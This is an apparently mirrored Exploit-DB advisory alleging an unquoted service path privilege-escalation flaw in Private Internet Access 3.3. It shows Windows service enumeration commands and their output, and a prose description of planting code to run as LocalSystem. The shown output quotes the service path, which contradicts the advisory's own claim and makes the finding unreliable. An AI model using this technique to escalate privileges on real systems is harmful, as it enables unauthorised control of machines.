Private Internet Access 3.3 – ‘pia-service’ Unquoted Service Path

  • 作者: Saud Alenazi
    日期: 2022-03-07
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  • 来源:https://www.exploit-db.com/exploits/50804/
  • # Exploit Title: Private Internet Access 3.3 - 'pia-service' Unquoted Service Path
    # Date: 04/03/2022
    # Exploit Author: Saud Alenazi
    # Vendor Homepage: https://www.privateinternetaccess.com
    # Software Link: https://www.privateinternetaccess.com/download
    # Version: 3.3.0.100
    # Tested: Windows 10 x64
    # Contact: https://twitter.com/dmaral3noz
    
    # Step to discover Unquoted Service Path:
    
    C:\Users\saudh>wmic service where 'name like "%PrivateInternetAccessService%"' get name, displayname, pathname, startmode, startname
    
    DisplayNameNamePathNameStartModeStartName
    Private Internet Access ServicePrivateInternetAccessService"C:\Program Files\Private Internet Access\pia-service.exe"Auto LocalSystem
    
    # Service info:
    
    C:\Users\saudh>sc qc PrivateInternetAccessService
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: PrivateInternetAccessService
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : "C:\Program Files\Private Internet Access\pia-service.exe"
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : Private Internet Access Service
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    
    #Exploit:
    
    A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.